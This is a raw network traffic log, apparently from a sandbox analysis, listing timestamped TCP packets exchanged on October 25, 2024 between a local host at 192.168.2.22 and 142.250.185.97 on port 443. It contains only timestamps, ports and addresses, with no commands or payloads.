Oct 25, 2024 19:47:14.499170065 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.499351978 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.499412060 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.499422073 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.499501944 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.499547958 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.499557018 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.526881933 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.526978016 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.527076960 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.527091026 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.527122974 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.527138948 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.567516088 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.567565918 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.567598104 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.567605972 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.567630053 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.567648888 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.567657948 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.567689896 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.567693949 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.567703009 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.567734957 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.587239981 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.587302923 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.587340117 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.587344885 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.587372065 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.587408066 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.587408066 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.587421894 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.587455034 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.587462902 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.587493896 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.587527037 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.587533951 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.587598085 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.587629080 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.587636948 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.614303112 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.614356041 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.614401102 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.614424944 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.614460945 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.614568949 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.614654064 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.614690065 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.614694118 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.614710093 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.614743948 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.614811897 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.614892006 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.614926100 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.614934921 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.615031958 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.615076065 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.615082979 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.615187883 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.615223885 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.615228891 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.615242004 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.615267992 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.615544081 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.615746975 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.615786076 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.615792990 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.615978956 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.616028070 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.616029978 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.616044998 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.616076946 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.616085052 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.616471052 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.616511106 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.616519928 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.644409895 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.644495964 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.644531012 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.644551039 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.644588947 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.644598007 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.684387922 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.684505939 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.684617996 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.684668064 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.684688091 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.684719086 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.684719086 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.684767962 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.684815884 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.684825897 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.704109907 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.704260111 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.704329967 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.704350948 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.704389095 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.704396963 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.704546928 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.704597950 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.704607964 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.704703093 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.704749107 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.704758883 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.704879045 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.704926968 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.704936028 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.705028057 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.705081940 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.705091000 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.731666088 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.731775999 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.731798887 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.731893063 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.731942892 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.731956005 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.732079983 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.732122898 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.732131958 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.732229948 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.732279062 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.732287884 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.732419968 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.732462883 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.732470989 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.732554913 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.732598066 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.732605934 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.732737064 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.732784986 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.732793093 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.732916117 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.732961893 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.732969046 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.733077049 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.733123064 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.733134031 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.733248949 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.733294964 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.733303070 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.733427048 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.733473063 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.733481884 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.733581066 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.733623981 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.733633041 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.733738899 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.733793020 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.733800888 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.761147022 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.761188984 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.761219978 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.761295080 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.761320114 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.761358976 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.761703968 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.801702976 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.801755905 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.801785946 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.801815033 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.801845074 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.801868916 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.801898956 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.801945925 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.801970959 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.801995993 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.802020073 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.821135998 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.821346045 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.821419001 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.821446896 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.821561098 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.821613073 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.821623087 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.821737051 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.821784019 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.821794987 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.821896076 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.821943045 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.821952105 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.822067022 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.822115898 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.822124958 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.848484993 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.848571062 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.848608971 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.848628998 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.848664999 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.848699093 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.848887920 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.848964930 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.848975897 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.849057913 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.849106073 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.849113941 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.849200010 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.849261045 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.849268913 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.849425077 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.849479914 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.849488974 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.849586964 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.849643946 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.849653006 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.849734068 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.849805117 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.849813938 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.849898100 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.849945068 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.849955082 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.850059986 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.850106955 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.850116014 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.850212097 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.850266933 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.850276947 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.850428104 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.850476980 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.850490093 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.850594044 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.850639105 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.850647926 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.850749969 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.850811005 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.850822926 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.878684044 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.878715992 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.878742933 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.878773928 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.878791094 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.878801107 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.920492887 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.920533895 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.920566082 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.920593023 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.920597076 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.920612097 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.920634985 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.920670986 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.920701981 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.920702934 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.920712948 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.920743942 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.920753002 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.920800924 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.938750029 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.938815117 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.938842058 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.938880920 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.938914061 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.938951015 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.938966036 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.938980103 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.938992977 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.938993931 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.939022064 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.939033031 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.939109087 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.969053984 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.969088078 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.969208002 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.969227076 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.969238043 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.969301939 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.969983101 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.970005035 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.970050097 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.970062017 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.970078945 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.970078945 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.998140097 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.998182058 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.998266935 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.998266935 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:14.998285055 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:14.998300076 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.073931932 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.073968887 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.074064970 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.074084997 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.074095964 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.085686922 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.085772991 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.085808992 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.085824966 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.085861921 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.085886002 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.085895061 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.085905075 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.086424112 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.086457014 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.086494923 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.086505890 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.086517096 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.086548090 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.087655067 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.087683916 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.087711096 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.087723970 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.087733030 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.087742090 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.154944897 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.155035973 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.155116081 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.155136108 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.155148029 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.155224085 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.172857046 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.172888994 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.172974110 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.172992945 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.173017025 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.208935976 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.208980083 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.209075928 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.209094048 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.209142923 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.209532022 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.209558010 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.209615946 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.209624052 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.209635019 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.210215092 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.210244894 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.210278988 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.210288048 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.210303068 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.271699905 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.271739960 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.271871090 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.271898985 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.273555040 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.290309906 CEST	443	49174	142.250.185.97	192.168.2.22
